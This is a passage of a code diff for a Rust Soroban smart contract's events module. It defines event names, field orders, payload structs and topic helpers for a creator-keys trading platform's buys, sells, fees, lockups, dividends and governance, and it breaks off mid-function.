- /// Admin that applied the change. - pub admin: Address, - /// Leaderboard size in effect before this call. - pub old_top_n: u32, - /// Retention window in ledgers before this call. - pub old_retention_ledgers: u32, - /// Leaderboard size after this call. - pub new_top_n: u32, - /// Retention window in ledgers after this call. - pub new_retention_ledgers: u32, - /// Ledger in which the change was recorded. - pub ledger: u32, -} - -/// Shared leaderboard-config-updated event topics tuple. -pub fn leaderboard_config_updated_topics(admin: &Address) -> (Symbol, Address) { - (LEADERBOARD_CONFIG_UPDATED_EVENT_NAME, admin.clone()) -} - -// --- Emergency platform pause events (#1000) --- - -/// Event name emitted when the platform-wide emergency halt activates. -pub const PLATFORM_PAUSED_EVENT_NAME: Symbol = symbol_short!("plat_pau"); - -/// Event name emitted when a platform resume is queued behind the 24h timelock. -pub const PLATFORM_RESUME_QUEUED_EVENT_NAME: Symbol = symbol_short!("plat_rq"); - -/// Event name emitted when the platform-wide emergency halt is lifted. -pub const PLATFORM_RESUMED_EVENT_NAME: Symbol = symbol_short!("plat_res"); - -/// Event name emitted when a per-key emergency pause override is set or cleared. -pub const KEY_PAUSE_OVERRIDE_EVENT_NAME: Symbol = symbol_short!("key_pau"); - -/// Stable field order for [`PlatformPausedEvent`]. -pub const PLATFORM_PAUSED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "timestamp"]; - -/// Stable field order for [`PlatformResumeQueuedEvent`]. -pub const PLATFORM_RESUME_QUEUED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "executable_at"]; - -/// Stable field order for [`PlatformResumedEvent`]. -pub const PLATFORM_RESUMED_EVENT_DATA_FIELDS: [&str; 2] = ["actor", "timestamp"]; - -/// Stable field order for [`KeyPauseOverrideEvent`]. -pub const KEY_PAUSE_OVERRIDE_EVENT_DATA_FIELDS: [&str; 3] = ["key_id", "paused", "actor"]; - -/// Stable platform-paused event payload. -/// -/// Event shape: -/// - topics: `(PLATFORM_PAUSED_EVENT_NAME, actor)` -/// - data: `PlatformPausedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PlatformPausedEvent { - /// First signer of the multisig call. - pub actor: Address, - /// Ledger timestamp at which the halt took effect. - pub timestamp: u64, -} - -/// Stable platform-resume-queued event payload. -/// -/// Event shape: -/// - topics: `(PLATFORM_RESUME_QUEUED_EVENT_NAME, actor)` -/// - data: `PlatformResumeQueuedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PlatformResumeQueuedEvent { - /// First signer of the multisig call. - pub actor: Address, - /// Ledger timestamp from which `resume_platform` may execute. - pub executable_at: u64, -} - -/// Stable platform-resumed event payload. -/// -/// Event shape: -/// - topics: `(PLATFORM_RESUMED_EVENT_NAME, actor)` -/// - data: `PlatformResumedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct PlatformResumedEvent { - /// First signer of the multisig call. - pub actor: Address, - /// Ledger timestamp at which the halt was lifted. - pub timestamp: u64, -} - -/// Stable key-pause-override event payload. -/// -/// Event shape: -/// - topics: `(KEY_PAUSE_OVERRIDE_EVENT_NAME, key_id)` -/// - data: `KeyPauseOverrideEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeyPauseOverrideEvent { - /// Key whose override changed. - pub key_id: Address, - /// `true` when the key was paused, `false` when the override was cleared. - pub paused: bool, - /// First signer of the multisig call. - pub actor: Address, -} - -/// Shared platform-paused event topics tuple. -pub fn platform_paused_topics(actor: &Address) -> (Symbol, Address) { - (PLATFORM_PAUSED_EVENT_NAME, actor.clone()) -} - -/// Shared platform-resume-queued event topics tuple. -pub fn platform_resume_queued_topics(actor: &Address) -> (Symbol, Address) { - (PLATFORM_RESUME_QUEUED_EVENT_NAME, actor.clone()) -} - -/// Shared platform-resumed event topics tuple. -pub fn platform_resumed_topics(actor: &Address) -> (Symbol, Address) { - (PLATFORM_RESUMED_EVENT_NAME, actor.clone()) -} - -/// Shared key-pause-override event topics tuple. -pub fn key_pause_override_topics(key_id: &Address) -> (Symbol, Address) { - (KEY_PAUSE_OVERRIDE_EVENT_NAME, key_id.clone()) -} - -// --- Vault rebalancing --- - -/// Event name for a completed vault rebalance. -pub const REBALANCE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("rebal"); - -/// Stable field order for rebalance execution payloads. -pub const REBALANCE_EXECUTED_DATA_FIELDS: [&str; 6] = [ - "creator", - "trades", - "allocations", - "total_value", - "max_slippage_bps", - "ledger", -]; - -/// One trade executed by a vault rebalance. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct RebalanceTrade { - pub from_key: Address, - pub to_key: Address, - pub amount: i128, - pub reference_price: i128, - pub execution_price: i128, - pub slippage_bps: u32, -} - -/// Stable rebalance execution payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct RebalanceExecutedEvent { - pub creator: Address, - pub trades: Vec, - pub allocations: Vec, - pub total_value: i128, - pub max_slippage_bps: u32, - pub ledger: u32, -} - -/// Shared rebalance execution event topics tuple. -pub fn rebalance_executed_topics(creator: &Address) -> (Symbol, Address) { - (REBALANCE_EXECUTED_EVENT_NAME, creator.clone()) -} - -// --- Dynamic fee tiers --- - -/// Event name for a dynamic fee tier transition. -pub const FEE_TIER_CHANGED_EVENT_NAME: Symbol = symbol_short!("fee_tier"); - -/// Stable field order for fee tier transition payloads. -pub const FEE_TIER_CHANGED_DATA_FIELDS: [&str; 5] = [ - "old_tier_index", - "new_tier_index", - "old_protocol_bps", - "new_protocol_bps", - "ledger", -]; - -/// Stable fee tier transition payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct FeeTierChangedEvent { - pub old_tier_index: u32, - pub new_tier_index: u32, - pub old_protocol_bps: u32, - pub new_protocol_bps: u32, - pub ledger: u32, -} - -/// Sentinel tier index used before any dynamic fee tier has ever been resolved. -pub const NO_FEE_TIER_INDEX: u32 = u32::MAX; - -// --- Staking and stake receipt NFT --- - -/// Event name for a minted stake receipt NFT. -pub const STAKE_NFT_MINTED_EVENT_NAME: Symbol = symbol_short!("snft_mint"); - -/// Event name for a burned stake receipt NFT. -pub const STAKE_NFT_BURNED_EVENT_NAME: Symbol = symbol_short!("snft_burn"); - -/// Event name for a stake receipt NFT transfer. -pub const STAKE_NFT_TRANSFERRED_EVENT_NAME: Symbol = symbol_short!("transfer"); - -/// Stable field order for stake receipt mint payloads. -pub const STAKE_NFT_MINTED_DATA_FIELDS: [&str; 7] = [ - "token_id", - "creator", - "stake_id", - "owner", - "amount", - "unlock_ledger", - "ledger", -]; - -/// Stable field order for stake receipt transfer payloads. -pub const STAKE_NFT_TRANSFERRED_DATA_FIELDS: [&str; 7] = [ - "token_id", "creator", "stake_id", "from", "to", "amount", "ledger", -]; - -/// Stable field order for stake receipt burn payloads. -pub const STAKE_NFT_BURNED_DATA_FIELDS: [&str; 6] = [ - "token_id", "creator", "stake_id", "owner", "amount", "ledger", -]; - -/// Stable stake receipt mint payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeNftMintedEvent { - pub token_id: u64, - pub creator: Address, - pub stake_id: u32, - pub owner: Address, - pub amount: u32, - pub unlock_ledger: u32, - pub ledger: u32, -} - -/// Stable stake receipt transfer payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeNftTransferredEvent { - pub token_id: u64, - pub creator: Address, - pub stake_id: u32, - pub from: Address, - pub to: Address, - pub amount: i128, - pub ledger: u32, -} - -/// Stable stake receipt burn payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct StakeNftBurnedEvent { - pub token_id: u64, - pub creator: Address, - pub stake_id: u32, - pub owner: Address, - pub amount: u32, - pub ledger: u32, -} - -/// Shared stake receipt mint event topics tuple. -pub fn stake_nft_minted_topics(creator: &Address, owner: &Address) -> (Symbol, Address, Address) { - (STAKE_NFT_MINTED_EVENT_NAME, creator.clone(), owner.clone()) -} - -/// Shared stake receipt transfer event topics tuple. -pub fn stake_nft_transferred_topics(from: &Address, to: &Address) -> (Symbol, Address, Address) { - (STAKE_NFT_TRANSFERRED_EVENT_NAME, from.clone(), to.clone()) -} - -/// Shared stake receipt burn event topics tuple. -pub fn stake_nft_burned_topics(creator: &Address, owner: &Address) -> (Symbol, Address, Address) { - (STAKE_NFT_BURNED_EVENT_NAME, creator.clone(), owner.clone()) -} - -// --- Bonding curve reset --- - -/// Event name for a bonding curve reset. -pub const CURVE_RESET_EVENT_NAME: Symbol = symbol_short!("curve_rst"); - -/// Stable field order for curve reset payloads. -pub const CURVE_RESET_DATA_FIELDS: [&str; 7] = [ - "creator", - "old_supply", - "new_supply", - "preset", - "slope", - "reset_count", - "ledger", -]; - -/// Stable curve reset payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(CURVE_RESET_EVENT_NAME, creator)` -/// - data: `CurveResetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CurveResetEvent { - /// Creator whose curve was reset. - pub creator: Address, - /// Supply immediately before the reset. Always `0`; a reset requires a full buyback. - pub old_supply: u32, - /// Supply immediately after the reset, the relaunch point. - pub new_supply: u32, - /// Curve shape applied from `new_supply` onwards. - pub preset: crate::CurvePreset, - /// Curve slope applied from `new_supply` onwards. - pub slope: i128, - /// Running count of successful resets for this creator. - pub reset_count: u32, - /// Ledger sequence number at reset time. - pub ledger: u32, -} - -/// Shared curve reset event topics tuple. -pub fn curve_reset_topics(creator: &Address) -> (Symbol, Address) { - (CURVE_RESET_EVENT_NAME, creator.clone()) -} - -// --- Key rating --- - -/// Event name for a key rating submission. -pub const KEY_RATED_EVENT_NAME: Symbol = symbol_short!("key_rated"); - -/// Event payload emitted when a key holder rates a creator. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeyRatedEvent { - pub creator: Address, - pub rater: Address, - pub score: u32, - pub total_score: u64, - pub count: u32, - pub average_score_scaled: u32, - pub ledger: u32, -} - -/// Shared key rated event topics tuple. -pub fn key_rated_topics(creator: &Address, rater: &Address) -> (Symbol, Address, Address) { - (KEY_RATED_EVENT_NAME, creator.clone(), rater.clone()) -} - -// --- Creator announcements --- - -/// Event name for a creator announcement posted to key holders. -pub const ANNOUNCEMENT_POSTED_EVENT_NAME: Symbol = symbol_short!("announce"); - -/// Stable announcement payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(ANNOUNCEMENT_POSTED_EVENT_NAME, key_id, announcement_id)` -/// - data: `AnnouncementPostedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AnnouncementPostedEvent { - /// Creator key whose holders the announcement targets. - pub key_id: Address, - /// Sequential identifier within this creator's announcement history. - pub announcement_id: u32, - /// Short announcement headline. - pub title: String, - /// IPFS content identifier for the complete announcement content. - pub content_hash: String, - /// Announcement category. - pub category: crate::AnnouncementCategory, - /// Ledger timestamp at which the announcement was posted. - pub posted_at: u64, -} - -/// Shared announcement event topics tuple. -pub fn announcement_posted_topics( - key_id: &Address, - announcement_id: u32, -) -> (Symbol, Address, u32) { - ( - ANNOUNCEMENT_POSTED_EVENT_NAME, - key_id.clone(), - announcement_id, - ) -} +//! Centralized event names and helpers for consistent event emission. +//! +//! This module provides a single source of truth for event names used throughout +//! the contract, reducing string duplication and ensuring consistency across +//! event emission paths. +//! +//! ### Event Schema Stability +//! +//! Downstream indexers rely on the stable ordering of fields in event payloads. +//! When modifying event structures: +//! - **Do not reorder** existing fields. +//! - **Add new fields** only at the end of the structure to maintain compatibility. +//! - **Avoid removing fields**; if a field is deprecated, keep it with a default value. +//! +//! This approach ensures that indexers can reliably parse event data across +//! different contract versions. +//! +//! ### Horizon Event Encoding +//! +//! Events are consumed off-chain through the Stellar Horizon / Soroban RPC +//! event stream, which decodes topics and data as ScVal types: +//! - The first topic of every event is a `Symbol` from the `*_EVENT_NAME` +//! constants in this module (at most 9 characters, via `symbol_short!`). +//! Never publish a raw `String` as a topic. +//! - Remaining topics are `Address` or integer (`u32`) identifiers, built by +//! the shared `*_topics` helpers. +//! - Event data is a `#[contracttype]` struct (encoded as an ScVal map) or a +//! plain ScVal value; every struct documents its topics and fields under +//! "Event shape" in this module. +//! - Events without a dedicated struct carry a plain value as data: +//! `pause`, `unpause`, `blk_add`, `blk_rem` (`()`), `dl_set` (deadline +//! ledger `Option`), `ttl_ext` (new live-until ledger `u32`), +//! `gpause_on` / `gpause_of` (ledger `u32`), `poll_new` (expiry ledger) and +//! `poll_vote` (`(option_index, weight)`). +//! +//! ### Quote-Related Event Field Semantics +//! +//! - `supply`: Number of keys in circulation after the trade (for buy/sell events) +//! - `payment`: Total amount paid by the buyer (for buy events, ≥ key price) + +use crate::{ + constants, extend_key_ttl_to_full_window, read_creator_supply, read_registered_creator_profile, + CreatorKeysContract, CreatorKeysContractArgs, CreatorKeysContractClient, VaultAllocation, +}; +use soroban_sdk::{ + contracterror, contractimpl, contracttype, symbol_short, Address, BytesN, Env, String, Symbol, + Vec, +}; + +/// Event name for protocol trade fee collected on a buy or sell. +pub const FEE_COLLECTED_EVENT_NAME: Symbol = symbol_short!("fee_coll"); + +/// Stable fee collection event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(FEE_COLLECTED_EVENT_NAME, treasury, trade_id)` +/// - data: `FeeCollectedEvent` +/// +/// Emitted on every buy and sell once the protocol trade fee is configured, +/// carrying the trade identifier, the gross amount, the deducted fee, and the +/// treasury address that received it. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct FeeCollectedEvent { + /// Treasury address that received the fee. + pub treasury: Address, + /// Monotonic trade counter for the fee collection event. + pub trade_id: u64, + /// Gross trade amount before the protocol deduction. + pub amount: i128, + /// Fee amount deducted from the trade. + pub fee: i128, + /// Ledger sequence number at the time of the trade. + pub ledger: u32, +} + +/// Shared fee collected event topics tuple including the trade identifier. +pub fn fee_collected_topics_with_trade_id( + treasury: &Address, + trade_id: u64, +) -> (Symbol, Address, u64) { + (FEE_COLLECTED_EVENT_NAME, treasury.clone(), trade_id) +} + +/// Event name for LP allocation sent to liquidity pool. +pub const LP_ALLOCATION_SENT_EVENT_NAME: Symbol = symbol_short!("lp_alloc"); + +/// Stable LP allocation sent event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(LP_ALLOCATION_SENT_EVENT_NAME, lp_contract)` +/// - data: `LpAllocationSentEvent` +/// +/// Emitted on each buy when LP routing is configured, carrying the amount +/// forwarded to the LP contract and the LP contract address. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LpAllocationSentEvent { + /// LP contract address that received the allocation. + pub lp_contract: Address, + /// Amount forwarded to the LP contract. + pub amount: i128, + /// Ledger sequence number at the time of the allocation. + pub ledger: u32, +} + +/// Shared LP allocation sent event topics tuple. +pub fn lp_allocation_sent_topics(lp_contract: &Address) -> (Symbol, Address) { + (LP_ALLOCATION_SENT_EVENT_NAME, lp_contract.clone()) +} + +/// Event name for a sell rejected by the anti-flash-trade lockup window. +pub const LOCKUP_BLOCKED_EVENT_NAME: Symbol = symbol_short!("lck_blk"); + +/// Stable lockup-blocked event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(LOCKUP_BLOCKED_EVENT_NAME, creator_id, seller)` +/// - data: `LockupBlockedEvent` +/// +/// Emitted when a sell is rejected because the seller's most recent buy for +/// this creator falls inside the configured lockup window. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LockupBlockedEvent { + /// Creator whose keys the seller attempted to sell. + pub creator_id: Address, + /// Seller whose sale was rejected. + pub seller: Address, + /// Ledger timestamp of the seller's most recent buy. + pub last_buy_timestamp: u64, + /// Timestamp at which the lockup expires (exclusive). + pub unlock_at: u64, + /// Ledger timestamp at rejection. + pub current_timestamp: u64, +} + +/// Shared lockup blocked event topics tuple. +pub fn lockup_blocked_topics(creator: &Address, seller: &Address) -> (Symbol, Address, Address) { + (LOCKUP_BLOCKED_EVENT_NAME, creator.clone(), seller.clone()) +} + +/// Event name for creating an investor-specific lock-up. +pub const LOCKUP_CREATED_EVENT_NAME: Symbol = symbol_short!("lck_crt"); + +/// Investor lock-up creation payload. +/// +/// Event shape: +/// - topics: `(LOCKUP_CREATED_EVENT_NAME, wallet, key_id)` +/// - data: `LockupCreatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LockupCreatedEvent { + pub wallet: Address, + pub key_id: Address, + pub unlock_timestamp: u64, +} + +/// Shared investor lock-up creation event topics. +pub fn lockup_created_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { + (LOCKUP_CREATED_EVENT_NAME, wallet.clone(), key_id.clone()) +} + +/// Event name for releasing an investor-specific lock-up. +pub const LOCKUP_RELEASED_EVENT_NAME: Symbol = symbol_short!("lck_rel"); + +/// Investor lock-up release payload. +/// +/// Event shape: +/// - topics: `(LOCKUP_RELEASED_EVENT_NAME, wallet, key_id)` +/// - data: `LockupReleasedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LockupReleasedEvent { + pub wallet: Address, + pub key_id: Address, + pub unlock_timestamp: u64, + pub released_at: u64, +} + +/// Shared investor lock-up release event topics. +pub fn lockup_released_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { + (LOCKUP_RELEASED_EVENT_NAME, wallet.clone(), key_id.clone()) +} + +/// Event name for quorum threshold update. +pub const QUORUM_UPDATED_EVENT_NAME: Symbol = symbol_short!("qrm_upd"); + +/// Event name for proposal/poll closed. +pub const POLL_CLOSED_EVENT_NAME: Symbol = symbol_short!("poll_cls"); + +/// Event name for protocol pause. +pub const PAUSE_EVENT_NAME: Symbol = symbol_short!("pause"); + +/// Event name for protocol unpause. +pub const UNPAUSE_EVENT_NAME: Symbol = symbol_short!("unpause"); + +/// Event name for a wallet being added to the admin blacklist. +pub const BLACKLIST_ADDED_EVENT_NAME: Symbol = symbol_short!("blk_add"); + +/// Event name for a wallet being removed from the admin blacklist. +pub const BLACKLIST_REMOVED_EVENT_NAME: Symbol = symbol_short!("blk_rem"); + +/// Event name for the protocol-wide buy deadline ledger being set or cleared. +pub const GLOBAL_DEADLINE_SET_EVENT_NAME: Symbol = symbol_short!("dl_set"); + +/// Event name for a forwarded buy submitted by the trusted forwarder. +pub const FORWARDED_BUY_EVENT_NAME: Symbol = symbol_short!("fwd_buy"); + +/// Event name for creator registration. +pub const REGISTER_EVENT_NAME: Symbol = symbol_short!("register"); + +/// Event name for key purchase. +pub const BUY_EVENT_NAME: Symbol = symbol_short!("buy"); + +/// Event name for key sale. +pub const SELL_EVENT_NAME: Symbol = symbol_short!("sell"); + +/// Event name for peer-to-peer key transfer. +pub const TRANSFER_EVENT_NAME: Symbol = symbol_short!("transfer"); + +/// Event name for creator key buyback. +pub const BUYBACK_EVENT_NAME: Symbol = symbol_short!("buyback"); + +/// Event name for referral fee earned. +pub const REFERRAL_FEE_EARNED_EVENT_NAME: Symbol = symbol_short!("referral"); + +/// Event name for governance poll creation. +pub const POLL_CREATED_EVENT_NAME: Symbol = symbol_short!("poll_new"); + +/// Event name for governance poll votes. +pub const POLL_VOTE_EVENT_NAME: Symbol = symbol_short!("poll_vote"); + +/// Event name for delegation set. +pub const DELEGATION_SET_EVENT_NAME: Symbol = symbol_short!("dlg_set"); + +/// Event name for delegation revoked. +pub const DELEGATION_REVOKED_EVENT_NAME: Symbol = symbol_short!("dlg_rev"); + +/// Event name for a performance bond being forfeited to the protocol treasury. +pub const BOND_FORFEITED_EVENT_NAME: Symbol = symbol_short!("bond_forf"); + +/// Event name for a co-creator being added to a creator key. +pub const CO_CREATOR_ADDED_EVENT_NAME: Symbol = symbol_short!("cc_add"); + +/// Topic index for the event name in common event topic tuples. +pub const TOPIC_EVENT_NAME_INDEX: u32 = 0; + +/// Topic index for the creator address in common event topic tuples. +pub const TOPIC_CREATOR_INDEX: u32 = 1; + +/// Topic index for the buyer/seller/actor address in common event topic tuples. +pub const TOPIC_BUYER_INDEX: u32 = 2; + +/// Stable field order for co-creator added event payloads. +pub const CO_CREATOR_ADDED_DATA_FIELDS: [&str; 3] = ["key_id", "wallet", "role"]; + +/// Stable field order for bond forfeited event payloads. +pub const BOND_FORFEITED_DATA_FIELDS: [&str; 4] = ["key_id", "reason", "amount", "ledger"]; + +/// Stable bond forfeited event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BOND_FORFEITED_EVENT_NAME, key_id)` +/// - data: `BondForfeitedEvent` +/// +/// Emitted when an admin forfeits a creator's performance bond, routing the +/// deposited amount to the protocol treasury. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BondForfeitedEvent { + /// Creator key whose bond was forfeited. + pub key_id: Address, + /// Human-readable reason supplied by the admin. + pub reason: String, + /// Bond amount routed to the protocol treasury. + pub amount: i128, + /// Ledger sequence number at the time of forfeiture. + pub ledger: u32, +} + +/// Shared bond forfeited event topics tuple. +pub fn bond_forfeited_topics(key_id: &Address) -> (Symbol, Address) { + (BOND_FORFEITED_EVENT_NAME, key_id.clone()) +} + +/// Stable co-creator added event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(CO_CREATOR_ADDED_EVENT_NAME, key_id, wallet)` +/// - data: `CoCreatorAddedEvent` +/// +/// Emitted inside `add_co_creator` when the primary creator grants a wallet a +/// co-creator role on their key. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CoCreatorAddedEvent { + /// Creator key the co-creator was added to. + pub key_id: Address, + /// Wallet granted the co-creator role. + pub wallet: Address, + /// Permission tier granted to the wallet. + pub role: crate::CoCreatorRole, +} + +/// Shared co-creator added event topics tuple. +pub fn co_creator_added_topics(key_id: &Address, wallet: &Address) -> (Symbol, Address, Address) { + (CO_CREATOR_ADDED_EVENT_NAME, key_id.clone(), wallet.clone()) +} + +/// Stable field order for registration event payloads. +pub const REGISTER_EVENT_DATA_FIELDS: [&str; 8] = [ + "creator", + "handle", + "supply", + "holder_count", + "creator_bps", + "protocol_bps", + "fee_recipient", + "registered_at_ledger", +]; + +/// Stable field order for buy event payloads. +pub const BUY_EVENT_DATA_FIELDS: [&str; 6] = [ + "buyer", + "creator_id", + "quantity", + "price_paid", + "new_supply", + "ledger", +]; + +/// Stable field order for sell event payloads. +pub const SELL_EVENT_DATA_FIELDS: [&str; 5] = + ["seller", "creator_id", "quantity", "proceeds", "ledger"]; + +/// Stable field order for buyback event payloads. +pub const BUYBACK_EVENT_DATA_FIELDS: [&str; 5] = + ["creator", "amount", "price_paid", "new_supply", "ledger"]; + +const MIN_POLL_OPTIONS: u32 = 2; +const MAX_POLL_OPTIONS: u32 = 4; +const MAX_QUESTION_CHARS: u32 = 280; +const MAX_OPTION_CHARS: u32 = 100; + +/// Stable registration event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(REGISTER_EVENT_NAME, creator)` +/// - data: `CreatorRegisteredEvent` +/// +/// This keeps the creator address indexed in event topics while preserving +/// a predictable payload for off-chain consumers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CreatorRegisteredEvent { + pub creator: Address, + pub handle: String, + pub supply: u32, + pub holder_count: u32, + pub creator_bps: u32, + pub protocol_bps: u32, + /// Address that receives creator fee payouts for this creator. + pub fee_recipient: Address, + /// Ledger sequence number at the time of registration. + pub registered_at_ledger: u32, +} + +/// Shared registration event topics tuple. +pub fn register_event_topics(creator: &Address) -> (Symbol, Address) { + (REGISTER_EVENT_NAME, creator.clone()) +} + +/// Stable buyback event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BUYBACK_EVENT_NAME, creator)` +/// - data: `KeysBoughtBackEvent` +/// +/// # Creator Fee Waiver +/// On buybacks, the creator fee is explicitly waived because the creator cannot pay +/// themselves a fee. The protocol fee still applies. +/// +/// # Indexer Note +/// This event represents a creator burning keys from their own held balance, +/// which is distinct from a regular buy event. Indexers should process this +/// event separately from `BUY_EVENT_NAME` events to correctly track supply +/// changes and fee accounting. +/// Stable buy event payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysBoughtEvent { + /// Address of the buyer performing the purchase. + pub buyer: Address, + /// Address of the creator whose keys are being purchased. + pub creator_id: Address, + /// Number of keys being bought. + pub quantity: u32, + /// Price paid for the keys (before fees). + pub price_paid: i128, + /// Total supply of keys for this creator after the purchase. + pub new_supply: u32, + /// Ledger sequence number at the time of the purchase. + pub ledger: u32, +} + +/// Stable forwarded-buy event payload for downstream indexers. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ForwardedBuyEvent { + /// Address of the trusted forwarder that submitted the transaction. + pub forwarder: Address, + /// Address of the buyer on whose behalf the purchase was made. + pub buyer: Address, + /// Address of the creator whose keys were purchased. + pub creator_id: Address, + /// Number of keys purchased. + pub quantity: u32, + /// Ledger sequence number at the time of the forwarded purchase. + pub ledger: u32, +} + +/// Stable sell event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(SELL_EVENT_NAME, creator, seller)` +/// - data: `KeysSoldEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysSoldEvent { + /// Address of the seller performing the sale. + pub seller: Address, + /// Address of the creator whose keys are being sold. + pub creator_id: Address, + /// Number of keys sold in this transaction. + pub quantity: u32, + /// Net proceeds received by the seller after fees. + pub proceeds: i128, + /// Total supply of keys for this creator after the sale. + pub new_supply: u32, + /// Ledger sequence number at the time of the sale. + pub ledger: u32, +} + +/// Event shape: +/// - topics: `(BUYBACK_EVENT_NAME, creator)` +/// - data: `KeysBoughtBackEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysBoughtBackEvent { + /// Address of the creator performing the buyback. + pub creator: Address, + /// Number of keys being bought back and burned. + pub amount: u32, + /// Total amount paid by the creator, including protocol fee (but not creator fee). + pub price_paid: i128, + /// New total supply of keys for the creator after the buyback. + pub new_supply: u32, + /// Ledger sequence number at the time of the buyback. + pub ledger: u32, +} + +/// Shared buy event topics tuple. +pub fn buy_event_topics(creator: &Address, buyer: &Address) -> (Symbol, Address, Address) { + (BUY_EVENT_NAME, creator.clone(), buyer.clone()) +} + +/// Shared peer-to-peer transfer event topics tuple. +pub fn transfer_event_topics(creator: &Address, from: &Address) -> (Symbol, Address, Address) { + (TRANSFER_EVENT_NAME, creator.clone(), from.clone()) +} + +/// Shared buyback event topics tuple. +pub fn buyback_event_topics(creator: &Address) -> (Symbol, Address) { + (BUYBACK_EVENT_NAME, creator.clone()) +} + +/// Event name for dividend distribution. +pub const DIVIDEND_DISTRIBUTED_EVENT_NAME: Symbol = symbol_short!("div_dist"); + +/// Event name for dividend claim. +pub const DIVIDEND_CLAIMED_EVENT_NAME: Symbol = symbol_short!("div_claim"); + +/// Event name for allocation locked. +pub const ALLOCATION_LOCKED_EVENT_NAME: Symbol = symbol_short!("alloc_lck"); + +/// Event name for allocation claimed. +pub const ALLOCATION_CLAIMED_EVENT_NAME: Symbol = symbol_short!("alloc_clm"); + +/// Event name for protocol fee recipient updated. +pub const PROTOCOL_FEE_RECIPIENT_UPDATED_EVENT_NAME: Symbol = symbol_short!("p_fee_upd"); + +/// Event name for creator fee recipient updated. +pub const CREATOR_FEE_RECIPIENT_UPDATED_EVENT_NAME: Symbol = symbol_short!("c_fee_upd"); + +/// Event name for co-creator fee accrual. +pub const CO_CREATOR_FEE_EARNED_EVENT_NAME: Symbol = symbol_short!("co_fee"); + +/// Event name for a creator (re)designating their co-creator split (issue #782). +pub const CO_CREATOR_SET_EVENT_NAME: Symbol = symbol_short!("co_set"); + +/// Stable field order for dividend distributed event payloads. +pub const DIVIDEND_DISTRIBUTED_DATA_FIELDS: [&str; 4] = + ["creator", "total_amount", "snapshot_supply", "ledger"]; + +/// Stable field order for dividend claimed event payloads. +pub const DIVIDEND_CLAIMED_DATA_FIELDS: [&str; 3] = ["creator", "claimant", "amount"]; + +/// Stable field order for co-creator fee earned event payloads. +pub const CO_CREATOR_FEE_EARNED_DATA_FIELDS: [&str; 4] = + ["creator_id", "co_creator", "amount", "ledger"]; + +/// Event shape: +/// - topics: `(DIVIDEND_DISTRIBUTED_EVENT_NAME, creator)` +/// - data: `DividendDistributedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DividendDistributedEvent { + pub creator: Address, + pub total_amount: i128, + pub snapshot_supply: u32, + pub ledger: u32, +} + +/// Event shape: +/// - topics: `(DIVIDEND_CLAIMED_EVENT_NAME, creator, claimant)` +/// - data: `DividendClaimedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DividendClaimedEvent { + pub creator: Address, + pub claimant: Address, + pub amount: i128, +} + +pub fn dividend_distributed_topics(creator: &Address) -> (Symbol, Address) { + (DIVIDEND_DISTRIBUTED_EVENT_NAME, creator.clone()) +} + +/// Event shape: +/// - topics: `(DELEGATION_SET_EVENT_NAME, creator, delegator)` +/// - data: `DelegationSetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DelegationSetEvent { + pub creator: Address, + pub delegator: Address, + pub delegate: Address, +} + +/// Event shape: +/// - topics: `(DELEGATION_REVOKED_EVENT_NAME, creator, delegator)` +/// - data: `DelegationRevokedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DelegationRevokedEvent { + pub creator: Address, + pub delegator: Address, +} + +pub fn delegation_set_topics(creator: &Address, delegator: &Address) -> (Symbol, Address, Address) { + ( + DELEGATION_SET_EVENT_NAME, + creator.clone(), + delegator.clone(), + ) +} + +pub fn delegation_revoked_topics( + creator: 